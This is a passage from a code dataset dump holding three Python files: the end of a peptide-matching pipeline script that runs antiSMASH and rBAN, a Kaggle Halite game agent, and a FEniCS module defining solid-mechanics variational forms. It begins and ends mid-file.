open(path_to_rban_input) as f:\n ids_in = set(x['id'] for x in json.load(f))\n with open(path_to_rban_output) as f:\n ids_out = set(x['id'] for x in json.load(f))\n for idx in ids_in - ids_out:\n log.warning(f'No rBAN output for structure \"{idx}\"')\n\n\ndef run_rban_on_smiles(args, main_out_dir, path_to_rban_jar, path_to_monomers_db, log):\n path_to_rban_input = os.path.join(main_out_dir, 'rban.input.json')\n if args.smiles_tsv:\n handle_rban.generate_rban_input_from_smiles_tsv(\n args.smiles_tsv, path_to_rban_input, sep=args.sep, id_col_name=args.col_id, smi_col_name=args.col_smiles)\n else:\n handle_rban.generate_rban_input_from_smiles_strings(args.smiles, path_to_rban_input)\n\n path_to_rban_output = os.path.join(main_out_dir, 'rban.output.json')\n log.info('\\n======= Structures preprocessing with rBAN')\n handle_rban.run_rban(path_to_rban_jar, path_to_rban_input, path_to_rban_output, path_to_monomers_db, main_out_dir, log)\n validate_rban_output(path_to_rban_input, path_to_rban_output)\n log.info(\"\\n======= Done with Structures preprocessing with rBAN\")\n return path_to_rban_output\n\n\ndef create_merged_monomers_db(path_to_rban, path_to_nerpa_monomers, path_to_user_monomers, output_dir):\n from zipfile import ZipFile\n import json\n with ZipFile(path_to_rban) as zf:\n default_db = json.loads(zf.read('molecules/monomer/nrproMonomers.json'))\n\n def _append_db(path):\n if not path:\n return []\n start_id = 1 + max(m['id'] for m in default_db)\n with open(path_to_nerpa_monomers) as f:\n custom_db = json.loads(f.read())\n return [{**m, 'id':i} for i, m in enumerate(custom_db, start=start_id)]\n\n default_db += _append_db(path_to_nerpa_monomers)\n default_db += _append_db(path_to_user_monomers)\n\n path_to_merged_db = os.path.join(output_dir, 'rban_monomers_db.json')\n with open(path_to_merged_db, 'w') as f:\n f.write(json.dumps(default_db))\n return path_to_merged_db\n\n\ndef copy_prediction_list(args, main_out_dir):\n new_prediction_path = os.path.join(main_out_dir, \"prediction.info\")\n with open(new_prediction_path, 'w') as f:\n with open(args.predictions[0]) as fr:\n for line in fr:\n line_parts = line.split()\n file = line_parts[0]\n if (file[0] != '/'):\n file = os.path.join(os.path.dirname(os.path.abspath(args.predictions[0])), file)\n f.write(file + \"\\n\")\n return new_prediction_path\n\n\ndef get_antismash_v3_compatible_input_paths(listing_fpath, list_of_paths, output_dir, log):\n '''\n Parses all antiSMASH-related options,\n detects all relevant output dirs (either with .json [aS v.5] or with ./txt/ & ./nrpspks_predictions_txt [aS v.3],\n converts aS v.5 to aS v.3-compliants if needed,\n returns list of paths to each v.3-compliant directory\n :param args:\n :return:\n '''\n\n def _get_input_antiSMASH_paths(lookup_paths):\n def _is_antiSMASHv3_path(path):\n if os.path.isdir(path) and \\\n os.path.isdir(os.path.join(path, 'txt')) and \\\n os.path.isdir(os.path.join(path, 'nrpspks_predictions_txt')):\n return True\n return False\n\n def _is_antiSMASHv5_path(path):\n if os.path.isfile(path) and path.endswith('.json'):\n return True\n if os.path.isdir(path) and get_main_json_fpath(dirpath=path) is not None:\n return True\n return False\n\n antiSMASHv3_paths = []\n antiSMASHv5_paths = []\n for entry in lookup_paths:\n if _is_antiSMASHv3_path(entry):\n antiSMASHv3_paths.append(entry)\n elif _is_antiSMASHv5_path(entry):\n antiSMASHv5_paths.append(entry)\n elif os.path.isdir(entry):\n # excluding dirs in runtime in os.walk: https://stackoverflow.com/questions/19859840/excluding-directories-in-os-walk\n for root, dirs, files in os.walk(entry, topdown=True):\n # always ignore files since a single json in a dir should be caught one step before when path was the dir\n # (see _is_antiSMASHv5_path() ) while multiple jsons in a dir probably means a false positive\n dirs_to_keep_walking = []\n for dir in dirs:\n full_dir_path = os.path.join(root, dir)\n if _is_antiSMASHv3_path(full_dir_path):\n antiSMASHv3_paths.append(full_dir_path)\n elif _is_antiSMASHv5_path(full_dir_path):\n antiSMASHv5_paths.append(full_dir_path)\n else:\n dirs_to_keep_walking.append(dir)\n dirs[:] = dirs_to_keep_walking\n return antiSMASHv3_paths, antiSMASHv5_paths\n\n lookup_locations = []\n if listing_fpath is not None:\n with open(listing_fpath) as f:\n for path in f:\n lookup_locations.append(path.strip())\n\n if list_of_paths:\n lookup_locations += list_of_paths\n\n antiSMASHv3_paths, antiSMASHv5_paths = _get_input_antiSMASH_paths(lookup_locations)\n log.info(\"\\n=== Genome predictions found: %d antiSMASH v3 inputs; %d antiSMASH v5 inputs\" %\n (len(antiSMASHv3_paths), len(antiSMASHv5_paths)))\n if antiSMASHv5_paths:\n log.info(\"\\n======= Preprocessing antiSMASH v5 inputs\")\n converted_antiSMASH_v5_outputs_dir = os.path.join(output_dir, \"converted_antiSMASH_v5_outputs\")\n log.info(f'results will be in {converted_antiSMASH_v5_outputs_dir}', indent=1)\n converted_antiSMASH_v5_paths = convert_antiSMASH_v5(antiSMASHv5_paths +\n ['-o', converted_antiSMASH_v5_outputs_dir, '-m', 'hybrid', \"-n\", \"v3\" ])\n antiSMASHv3_paths += converted_antiSMASH_v5_paths\n log.info(\"\\n======= Done with Preprocessing antiSMASH v5 inputs\")\n\n return antiSMASHv3_paths\n\n\ndef run(args, log):\n output_dir = nerpa_utils.set_up_output_dir(output_dirpath=args.output_dir,\n crash_if_exists=not args.output_dir_reuse, log=log)\n log.set_up_file_handler(output_dir)\n log.start()\n\n if args.predictions is not None:\n path_predictions = copy_prediction_list(args, output_dir)\n else:\n antismash_out_dirs = args.antismash if args.antismash is not None else []\n if args.seqs:\n cur_antismash_out = os.path.join(output_dir, 'antismash_output')\n if args.antismash_path:\n antismash_exe = nerpa_utils.get_path_to_program('run_antismash.py', dirpath=args.antismash_path, min_version='5.0')\n else:\n antismash_exe = nerpa_utils.get_path_to_program('antismash', min_version='5.0')\n if antismash_exe is None:\n log.error(\"Can't find antismash 5.x executable. Please make sure that you have antismash 5.x installed \"\n \"in your system or provide path to antismash source directory via --antismash-path option.\")\n command = [antismash_exe,\n '--genefinding-tool', 'prodigal',\n '--output-dir', cur_antismash_out,\n '--minimal', '--skip-zip-file', '--enable-nrps-pks',\n '--cpus', str(args.threads), args.seqs]\n nerpa_utils.sys_call(command, log, cwd=output_dir)\n antismash_out_dirs.append(cur_antismash_out)\n\n path_predictions = predictions_preprocessor.create_predictions_by_antiSAMSHout(get_antismash_v3_compatible_input_paths(\n listing_fpath=args.antismash_out, list_of_paths=antismash_out_dirs,\n output_dir=output_dir, log=log), output_dir, log)\n\n input_configs_dir = args.configs_dir if args.configs_dir else nerpa_init.configs_dir\n current_configs_dir = os.path.join(output_dir, \"configs\")\n # remember shutil.copytree caveat (compared to dir_util.copy_tree):\n # directory metadata will be copied that may cause potential problems\n # if src dir is too old and there is a cluster cronjob which\n # automatically remove old files from the temporary workspace\n shutil.copytree(input_configs_dir, current_configs_dir, copy_function=shutil.copy)\n\n path_to_graphs = os.path.join(output_dir, 'structures.info')\n local_monomers_cfg = os.path.join(current_configs_dir, \"monomers.tsv\")\n path_to_rban = os.path.join(nerpa_init.external_tools_dir, 'rBAN', 'rBAN-1.0.jar')\n path_to_monomers_db = create_merged_monomers_db(\n path_to_rban, os.path.join(current_configs_dir, \"monomersdb_nerpa.json\"), args.rban_monomers, output_dir)\n if args.structures:\n shutil.copyfile(args.structures, path_to_graphs)\n else:\n if args.rban_output:\n path_rban_output = args.rban_output\n else:\n path_rban_output = run_rban_on_smiles(args, output_dir, path_to_rban, path_to_monomers_db, log)\n\n handle_rban.generate_info_from_rban_output(\n path_rban_output, local_monomers_cfg, path_to_graphs, output_dir, path_to_rban, path_to_monomers_db, log,\n process_hybrids=args.process_hybrids\n )\n\n details_mol_dir = os.path.join(output_dir, 'details')\n if not os.path.exists(details_mol_dir):\n os.makedirs(details_mol_dir)\n\n command = [os.path.join(nerpa_init.bin_dir, \"NRPsMatcher\"),\n path_predictions, path_to_graphs,\n '--configs_dir', current_configs_dir,\n \"--threads\", str(args.threads)]\n log.info(\"\\n======= Nerpa matching\")\n nerpa_utils.sys_call(command, log, cwd=output_dir)\n log.info(\"RESULTS:\")\n log.info(\"Main report is saved to \" + os.path.join(output_dir, 'report.csv'), indent=1)\n log.info(\"Detailed reports are saved to \" + output_dir, indent=1)\n log.finish()\n\n\nif __name__ == \"__main__\":\n log = logger.NerpaLogger()\n try:\n args = parse_args(log)\n run(args, log)\n except Exception:\n _, exc_value, _ = sys.exc_info()\n log.exception(exc_value)\n finally:\n # TODO: clean up: remove all intermediate files\n pass\n","repo_name":"ablab/nerpa","sub_path":"nerpa.py","file_name":"nerpa.py","file_ext":"py","file_size_in_byte":17930,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"75287661950","text":"from kaggle_environments.envs.halite.helpers import Dict, Any\nfrom src.agent.board.board import HaliteBoard\nfrom src.constants import TORCH_DEVICE, SETTINGS, SHIP_AGENT_B64_STRING, SHIPYARD_AGENT_B64_STRING\n\n\nclass HaliteAgent:\n def __init__(self, observation: Dict[str, Any], configuration: Dict[str, Any]):\n self.observation = observation\n self.configuration = configuration\n\n self.ship_states = {}\n self.halite_board = HaliteBoard(observation, configuration)\n self.player = self.halite_board.player\n self.ships = self.player.ships\n self.shipyards = self.player.shipyards\n\n def act(self) -> Dict[str, str]:\n from src.agent.learning.ship_agent import HaliteShipAgent, SHIP_ACTION_MAP\n from src.agent.learning.shipyard_agent import HaliteShipyardAgent, SHIPYARD_ACTION_MAP\n ship_agent = HaliteShipAgent().to(TORCH_DEVICE)\n shipyard_agent = HaliteShipyardAgent().to(TORCH_DEVICE)\n if SETTINGS[\"mode\"] == \"submit\":\n ship_agent.load_base64(SHIP_AGENT_B64_STRING)\n shipyard_agent.load_base64(SHIPYARD_AGENT_B64_STRING)\n else:\n shipyard_agent.load_recent_model()\n shipyard_agent.load_recent_model()\n for ship in self.ships:\n s_action = ship_agent.act(ship, self.halite_board)\n ship.next_action = SHIP_ACTION_MAP[s_action]\n for shipyard in self.shipyards:\n s_y_action = shipyard_agent.act(shipyard, self.halite_board)\n shipyard.next_action = SHIPYARD_ACTION_MAP[s_y_action]\n\n return self.get_next_actions()\n\n def get_next_actions(self) -> Dict[str, str]:\n ship_actions = {\n ship.id: ship.next_action.name\n for ship in self.ships\n if ship.next_action is not None\n }\n\n shipyard_actions = {\n shipyard.id: shipyard.next_action.name\n for shipyard in self.shipyards\n if shipyard.next_action is not None\n }\n return {**ship_actions, **shipyard_actions}\n\n def get_ship_states(self):\n return {x.id: x.state for x in self.ships}\n","repo_name":"jamesrosstwo/halite","sub_path":"src/agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"17399516128","text":"\"\"\"\nContains definitions of different solid model forms\n\"\"\"\n\nfrom typing import Tuple, Mapping, Callable, Union, Any, Optional\nfrom numpy.typing import NDArray\n\nimport operator\nimport warnings\nfrom functools import reduce\n\nimport numpy as np\nimport dolfin as dfn\nimport ufl\n\nfrom . import newmark, base\nfrom .uflcontinuum import *\n\nDfnFunction = Union[ufl.Constant, dfn.Function]\nCoefficientMapping = Mapping[str, DfnFunction]\nFunctionSpaceMapping = Mapping[str, dfn.FunctionSpace]\n\n## Function space specification\n\nclass BaseFunctionSpaceSpec:\n \"\"\"\n Represents a `fenics` function space\n\n Parameters\n ----------\n spec:\n A tuple specifying the function space\n default_value: int\n The default value for the function\n \"\"\"\n\n generate_function: Callable[[dfn.Mesh], Union[dfn.Constant, dfn.Function]]\n\n def __init__(self, *spec, default_value: int=0):\n self._spec = spec\n self._default_value = default_value\n\n @property\n def spec(self) -> Tuple[Any, ...]:\n return self._spec\n\n @property\n def default_value(self) -> Any:\n return self._default_value\n\n # def generate_function(self, mesh: dfn.Mesh) -> Union[dfn.Constant, dfn.Function]:\n # raise NotImplementedError()\n\nclass FunctionSpaceSpec(BaseFunctionSpaceSpec):\n \"\"\"\n Represents a `dolfin` function space\n\n Parameters\n ----------\n elem_family:\n The 'family' of the function space (see `dfn.cpp.function.FunctionSpace`)\n elem_degree:\n The 'degree' of the function space (see `dfn.cpp.function.FunctionSpace`)\n value_dim:\n The dimension of function value (see `dfn.cpp.function.FunctionSpace`)\n default_value: int\n The default value for the function\n \"\"\"\n\n def __init__(\n self,\n elem_family: str, elem_degree: int,\n value_dim: Union[Tuple[int, ...], str],\n default_value: int=0\n ):\n assert value_dim in {'vector', 'scalar'}\n super().__init__(elem_family, elem_degree, value_dim, default_value=default_value)\n\n def generate_function(self, mesh: dfn.Mesh) -> dfn.Function:\n elem_family, elem_degree, value_dim = self.spec\n # TODO: You should also handle shape tuple for the value\n if value_dim == 'vector':\n return dfn.Function(dfn.VectorFunctionSpace(mesh, elem_family, elem_degree))\n elif value_dim == 'scalar':\n return dfn.Function(dfn.FunctionSpace(mesh, elem_family, elem_degree))\n else:\n raise ValueError(f\"Unknown `value_dim`, {value_dim}\")\n\nclass ConstantFunctionSpaceSpec(BaseFunctionSpaceSpec):\n \"\"\"\n Represents a `dolfin.Constant`\n\n Parameters\n ----------\n value_dim:\n The dimension of function value (see `dfn.cpp.function.FunctionSpace`)\n default_value: int\n The default value for the function\n \"\"\"\n\n def __init__(\n self,\n value_dim: Union[Tuple[int, ...], str],\n default_value: int=0\n ):\n super().__init__(value_dim, default_value=default_value)\n\n def generate_function(self, mesh: dfn.Mesh) -> dfn.Constant:\n value_dim, = self.spec\n if isinstance(value_dim, str):\n if value_dim == 'vector':\n return dfn.Constant(\n mesh.geometric_dimension()*[self.default_value],\n mesh.ufl_cell()\n )\n elif value_dim == 'scalar':\n return dfn.Constant(\n self.default_value, mesh.ufl_cell()\n )\n else:\n raise ValueError()\n elif isinstance(value_dim, tuple):\n const = dfn.Constant(\n value_dim, mesh.ufl_cell()\n )\n const.values()[:] = self.default_value\n return const\n else:\n raise TypeError(f\"Unknown `value_dim` type, {type(value_dim)}\")\n\ndef func_spec(elem_family, elem_degree, value_dim, default_value=0):\n \"\"\"\n Return a `FunctionSpaceSpec`\n \"\"\"\n return FunctionSpaceSpec(elem_family, elem_degree, value_dim, default_value=default_value)\n\ndef const_spec(value_dim, default_value=0):\n \"\"\"\n Return a `ConstantFunctionSpaceSpec`\n \"\"\"\n return ConstantFunctionSpaceSpec(value_dim, default_value=default_value)\n\n## Form class\n\ndef set_fenics_function(\n function: Union[dfn.Function, dfn.Constant],\n value\n ) -> dfn.Function:\n \"\"\"\n Set a value for a `dfn.Function` or `dfn.Constant` instance\n\n This is needed because, although both classes represent functions,\n they have different methods access their underlying coefficient vectors.\n \"\"\"\n if isinstance(function, dfn.Constant):\n function.values()[:] = value\n else:\n function.vector()[:] = value\n\n return function\n\nclass FenicsForm:\n \"\"\"\n Representation of a `dfn.Form` instance with associated coefficients\n\n Parameters\n ----------\n form: dfn.Form\n The 'dfn.Form' instance\n coefficients: CoefficientMapping\n A mapping from string labels to `dfn.Coefficient` instances used in\n `form`\n\n Attributes\n ----------\n form: dfn.Form\n The 'dfn.Form' instance\n coefficients: CoefficientMapping\n A mapping from string labels to `dfn.Coefficient` instances used in\n `form`\n expressions: CoefficientMapping\n A mapping from string labels to `dfn.Expression` instances, using the\n coefficients in `coefficients`\n \"\"\"\n\n _form: dfn.Form\n _coefficients: CoefficientMapping\n _expressions: CoefficientMapping\n\n def __init__(\n self,\n form: dfn.Form,\n coefficients: CoefficientMapping,\n expressions: Optional[CoefficientMapping]=None\n ):\n\n self._form = form\n self._coefficients = coefficients\n\n if expressions is None:\n expressions = {}\n self._expressions = expressions\n\n @property\n def form(self):\n return self._form\n\n @property\n def coefficients(self) -> CoefficientMapping:\n return self._coefficients\n\n @property\n def expressions(self) -> CoefficientMapping:\n return self._expressions\n\n def arguments(self) -> list[ufl.Argument]:\n return self.form.arguments()\n\n ## Dict interface\n def keys(self) -> list[str]:\n return self.coefficients.keys()\n\n def values(self) -> list[DfnFunction]:\n return self.coefficients.values()\n\n def items(self) -> list[Tuple[str, DfnFunction]]:\n return self.coefficients.items()\n\n def __getitem__(self, key: str) -> DfnFunction:\n return self.coefficients[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.coefficients\n\n ## Basic math\n def __add__(self, other: 'FenicsForm') -> 'FenicsForm':\n return add_form(self, other)\n\n def __radd__(self, other: 'FenicsForm') -> 'FenicsForm':\n return add_form(self, other)\n\n def __sub__(self, other: 'FenicsForm') -> 'FenicsForm':\n return add_form(self, -1.0*other)\n\n def __rsub__(self, other: 'FenicsForm') -> 'FenicsForm':\n return add_form(other, -1.0*self)\n\n def __mul__(self, other: float) -> 'FenicsForm':\n return mul_form(self, other)\n\n def __rmul__(self, other: float) -> 'FenicsForm':\n return mul_form(self, other)\n\nFunctionLike = Union[ufl.Argument, dfn.Function, dfn.Constant]\n\ndef compare_function_space(\n space_a: dfn.FunctionSpace, space_b: dfn.FunctionSpace\n ) -> bool:\n \"\"\"\n Return if two function spaces are equivalent\n \"\"\"\n if (\n space_a.element().signature() == space_b.element().signature()\n and space_a.mesh() == space_b.mesh()\n ):\n return True\n else:\n return False\n\ndef get_shared_function(\n function_a: FunctionLike, function_b: FunctionLike\n ) -> FunctionLike:\n \"\"\"\n Return a shared function space for two `fenics` objects\n \"\"\"\n if type(function_a) != type(function_b):\n raise TypeError(\"Functions must have the same type\")\n\n if compare_function_space(\n function_a.function_space(), function_b.function_space()\n ):\n # TODO: You could create a new function space for the shared function\n shared_function = function_a\n return shared_function\n else:\n raise ValueError(\n \"Functions have different function spaces.\"\n )\n\ndef add_form(form_a: FenicsForm, form_b: FenicsForm) -> FenicsForm:\n \"\"\"\n Return a new `FenicsForm` from a sum of other forms\n\n This function:\n sums the two `ufl.Form` instances\n combines any coefficients with the same name\n adds any expressions with the same name together\n \"\"\"\n # Ensure that the two forms have arguments with consistent function spaces.\n # Oftentimes, the function spaces from the arguments will be the same but\n # correspond to difference `FunctionSpace` instances; this code replaces\n # these with a single argument\n # NOTE: The form arguments are the test functions that forms are integrated\n # against for linear forms/functionals\n new_form_a = form_a.form\n new_form_b = form_b.form\n args_a, args_b = new_form_a.arguments(), new_form_b.arguments()\n for arg_a, arg_b in zip(args_a, args_b):\n arg_shared = get_shared_function(arg_a, arg_b)\n new_form_a = ufl.replace(form_a.form, {arg_a: arg_shared})\n new_form_b = ufl.replace(form_b.form, {arg_b: arg_shared})\n new_form = new_form_a + new_form_b\n\n # Link coefficients with the same key to a single shared `dfn.Function`\n new_coefficients = {**form_a.coefficients, **form_b.coefficients}\n duplicate_coeff_keys = set.intersection(set(form_a.keys()), set(form_b.keys()))\n duplicate_coeffs = {\n key: (form_a[key], form_b[key])\n for key in list(duplicate_coeff_keys)\n }\n for key, (coeff_a, coeff_b) in duplicate_coeffs.items():\n coeff_shared = get_shared_function(coeff_a, coeff_b)\n new_form = ufl.replace(new_form, {coeff_a: coeff_shared})\n new_form = ufl.replace(new_form, {coeff_b: coeff_shared})\n new_coefficients[key] = coeff_shared\n\n # Sum any expressions with the same key\n new_expressions = {**form_a.expressions, **form_b.expressions}\n duplicate_expr_keys = set.intersection(\n set(form_a.expressions.keys()), set(form_b.expressions.keys())\n )\n duplicate_exprs = {\n key: (form_a.expressions[key], form_b.expressions[key])\n for key in list(duplicate_expr_keys)\n }\n for key, (expr_a, expr_b) in duplicate_exprs.items():\n new_expressions[key] = expr_a+expr_b\n\n return FenicsForm(new_form, new_coefficients, new_expressions)\n\ndef mul_form(form: FenicsForm, scalar: float) -> FenicsForm:\n \"\"\"\n Return a new `FenicsForm` from a sum of other forms\n \"\"\"\n # Check that form arguments are consistent and replace duplicated\n # consistent arguments\n new_form = scalar*form.form\n\n return FenicsForm(new_form, form.coefficients, form.expressions)\n\n## Pre-defined linear functionals\n\nclass PredefinedForm(FenicsForm):\n \"\"\"\n Represents a predefined `dfn.Form`\n\n The predefined form is defined through two class attributes (see below)\n which specify the coefficients in the form and return the form itself.\n\n Class Attributes\n ----------------\n COEFFICIENT_SPEC: Mapping[str, BaseFunctionSpaceSpec]\n A mapping defining all coefficients that are needed to create the form\n MAKE_FORM: Callable[\n [CoefficientMapping, dfn.Measure, dfn.Mesh],\n Tuple[dfn.Form, CoefficientMapping]\n ]\n A function that returns a `dfn.Form` instance using the coefficients\n given in `COEFFICIENT_SPEC` and additional mesh information\n\n Note that this function could use `dfn.Coefficient` instances that\n are not defined in `COEFFICIENT_SPEC` as well, but you will be unable to\n access these coefficients and modify their values using after the\n form has been created.\n\n Parameters\n ----------\n coefficients: CoefficientMapping\n A mapping from string labels to `dfn.Coefficient` instances to be used\n in the `dfn.Form` instance. These coefficient will be used when the\n `dfn.Form` instance is created.\n measure: dfn.Measure\n The measure to use in the form\n mesh: dfn.Mesh\n The measure to use in the form\n \"\"\"\n\n COEFFICIENT_SPEC: Mapping[str, BaseFunctionSpaceSpec] = {}\n MAKE_FORM: Callable[\n [CoefficientMapping, dfn.Measure, dfn.Mesh],\n Tuple[dfn.Form, CoefficientMapping]\n ]\n\n def __init__(self,\n coefficients: CoefficientMapping,\n measure: dfn.Measure,\n mesh: dfn.Mesh\n ):\n\n # If a coefficient key is not supplied, generate a default coefficient\n # from `COEFFICIENT_SPEC`\n for key, spec in self.COEFFICIENT_SPEC.items():\n if key not in coefficients:\n coefficients[key] = spec.generate_function(mesh)\n\n form, expressions = self.MAKE_FORM(coefficients, measure, mesh)\n super().__init__(form, coefficients, expressions)\n\nclass InertialForm(PredefinedForm):\n \"\"\"\n Linear functional representing an inertial force\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.a1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.rho': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n vector_test = dfn.TestFunction(coefficients['coeff.state.a1'].function_space())\n\n acc = coefficients['coeff.state.a1']\n density = coefficients['coeff.prop.rho']\n inertial_body_force = density*acc\n\n return ufl.inner(inertial_body_force, vector_test) * measure, {}\n # forms['expr.force_inertial'] = inertial_body_force\n\n# Elastic effect forms\n\nclass IsotropicElasticForm(PredefinedForm):\n \"\"\"\n Linear functional representing an isotropic elastic stress\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.emod': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.nu': const_spec('scalar', default_value=0.45)\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n strain_test = strain_inf(vector_test)\n\n u = coefficients['coeff.state.u1']\n inf_strain = strain_inf(u)\n emod = coefficients['coeff.prop.emod']\n nu = coefficients['coeff.prop.nu']\n set_fenics_function(nu, 0.45)\n stress_elastic = stress_isotropic(inf_strain, emod, nu)\n\n expressions = {}\n expressions['expr.stress_elastic'] = stress_elastic\n return ufl.inner(stress_elastic, strain_test) * measure, expressions\n\nclass IsotropicIncompressibleElasticSwellingForm(PredefinedForm):\n \"\"\"\n Linear functional representing an incompressible, isotropic elastic stress with swelling\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.emod': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.v_swelling': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.k_swelling': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n strain_test = strain_inf(vector_test)\n\n emod = coefficients['coeff.prop.emod']\n nu = 0.5\n dis = coefficients['coeff.state.u1']\n inf_strain = strain_inf(dis)\n v_swelling = coefficients['coeff.prop.v_swelling']\n set_fenics_function(v_swelling, 1.0)\n k_swelling = coefficients['coeff.prop.k_swelling']\n set_fenics_function(k_swelling, 1.0)\n lame_mu = emod/2/(1+nu)\n stress_elastic = 2*lame_mu*inf_strain + k_swelling*(ufl.tr(inf_strain)-(v_swelling-1.0))*ufl.Identity(inf_strain.ufl_shape[0])\n\n expressions = {}\n expressions['expr.stress_elastic'] = stress_elastic\n return ufl.inner(stress_elastic, strain_test) * measure, expressions\n # return forms\n\nclass IsotropicElasticSwellingForm(PredefinedForm):\n \"\"\"\n Linear functional representing an isotropic elastic stress with swelling\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.emod': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.nu': const_spec('scalar', default_value=0.45),\n 'coeff.prop.v_swelling': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.m_swelling': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n \"\"\"\n Add an effect for isotropic elasticity with a swelling field\n \"\"\"\n dx = measure\n\n u = coefficients['coeff.state.u1']\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n DE = strain_lin_green_lagrange(u, vector_test)\n E = strain_green_lagrange(u)\n\n emod = coefficients['coeff.prop.emod']\n nu = dfn.Constant(0.45)\n v = coefficients['coeff.prop.v_swelling']\n v.vector()[:] = 1.0\n m = coefficients['coeff.prop.m_swelling']\n m.vector()[:] = 0.0\n\n E_v = v**(-2/3)*E + 1/2*(v**(-2/3)-1)*ufl.Identity(3)\n # Here write the factor $m(v)*v^(-2/3)$ as $m(v)*v^(-1) * v^(1/3)$\n # Then approximate the function $\\hat{m} = m(v)*v^(-1)$ with a linear\n # approximation with slope `m`\n mhat = (m*(v-1) + 1)\n S = mhat*v**(1/3)*stress_isotropic(E_v, emod, nu)\n\n expressions = {}\n expressions['expr.strain_energy'] = ufl.inner(S, DE)\n # This converts the Green stress to Cauchy stress\n F = def_grad(u)\n J = ufl.det(F)\n expressions['expr.stress_elastic'] = (1/J)*F*S*F.T\n\n return ufl.inner(S, DE) * dx, expressions\n\n # # lame_lambda = emod*nu/(1+nu)/(1-2*nu)\n # # lame_mu = emod/2/(1+nu)\n # return forms\n\n# Surface forcing forms\n\nclass SurfacePressureForm(PredefinedForm):\n \"\"\"\n Linear functional representing a pressure follower load\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.fsi.p1': func_spec('CG', 1, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n\n ds = measure\n\n dis = coefficients['coeff.state.u1']\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n facet_normal = ufl.FacetNormal(mesh)\n\n p = coefficients['coeff.fsi.p1']\n reference_traction = -p * pullback_area_normal(dis, facet_normal)\n\n expressions = {}\n expressions['expr.fluid_traction'] = reference_traction\n return ufl.inner(reference_traction, vector_test) * ds, expressions\n\nclass ManualSurfaceContactTractionForm(PredefinedForm):\n \"\"\"\n Linear functional representing a surface contact traction\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.state.manual.tcontact': func_spec('CG', 1, 'vector'),\n 'coeff.prop.ycontact': const_spec('scalar', np.inf),\n 'coeff.prop.ncontact': const_spec('vector'),\n 'coeff.prop.kcontact': const_spec('scalar', 1.0)\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh):\n\n # The contact traction must be manually linked with displacements and penalty parameters!\n # These parameters are:\n # `ycontact = coefficients['coeff.prop.ycontact']`\n # `ncontact = coefficients['coeff.prop.ncontact']`\n # `kcontact = coefficients['coeff.prop.kcontact']`\n\n vector_test = dfn.TestFunction(coefficients['coeff.state.manual.tcontact'].function_space())\n tcontact = coefficients['coeff.state.manual.tcontact']\n\n expressions = {}\n return ufl.inner(tcontact, vector_test) * measure, expressions\n\n# Surface membrane forms\n\nclass IsotropicMembraneForm(PredefinedForm):\n \"\"\"\n Linear functional representing an isotropic elastic membrane\n \"\"\"\n\n COEFFICIENT_SPEC = {\n 'coeff.state.u1': func_spec('CG', 1, 'vector'),\n 'coeff.prop.emod_membrane': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.nu_membrane': func_spec('DG', 0, 'scalar'),\n 'coeff.prop.th_membrane': func_spec('DG', 0, 'scalar')\n }\n\n def MAKE_FORM(self, coefficients, measure, mesh, large_def=False):\n vector_test = dfn.TestFunction(coefficients['coeff.state.u1'].function_space())\n\n # Define the 8th order projector to get the planar strain component\n facet_normal = ufl.FacetNormal(mesh)\n if mesh.topology().dim() == 2:\n n = ufl.as_tensor([facet_normal[0], facet_normal[1], 0.0])\n else:\n n = facet_normal\n nn = ufl.outer(n, n)\n ident = ufl.Identity(n.ufl_shape[0])\n project_pp = ufl.outer(ident-nn, ident-nn)\n\n i, j, k, l = ufl.indices(4)\n\n dis = coefficients['coeff.state.u1']\n if large_def:\n strain = strain_green_lagrange(dis)\n strain_test = strain_lin_green_lagrange(dis, vector_test)\n else:\n strain = strain_inf(dis)\n strain_test = strain_inf(vector_test)\n strain_pp_test = ufl.as_tensor(project_pp[i, j, k, l] * strain_test[j, k], (i, l))\n\n emod = coefficients['coeff.prop.emod_membrane']\n th_membrane = coefficients['coeff.prop.th_membrane']\n nu = coefficients['coeff.prop.nu_membrane']\n set_fenics_function(nu, 0.45)\n mu = emod/2/(1+nu)\n lmbda = emod*nu/(1+nu)/(1-2*nu)\n\n strain_pp = ufl.as_tensor(project_pp[i, j, k, l] * strain[j, k], (i, l))\n\n # account for ambiguous 0/0 when emod=0\n lmbda_pp = ufl.conditional(ufl.eq(emod, 0), 0, 2*mu*lmbda/(lmbda+2*mu))\n stress_pp = 2*mu*strain_pp + lmbda_pp*ufl.tr(strain_pp)*(ident-nn)\n\n expressions = {}\n\n return ufl.inner(stress_pp, strain_pp_test) * th_membrane*measure, expressions\n\n # 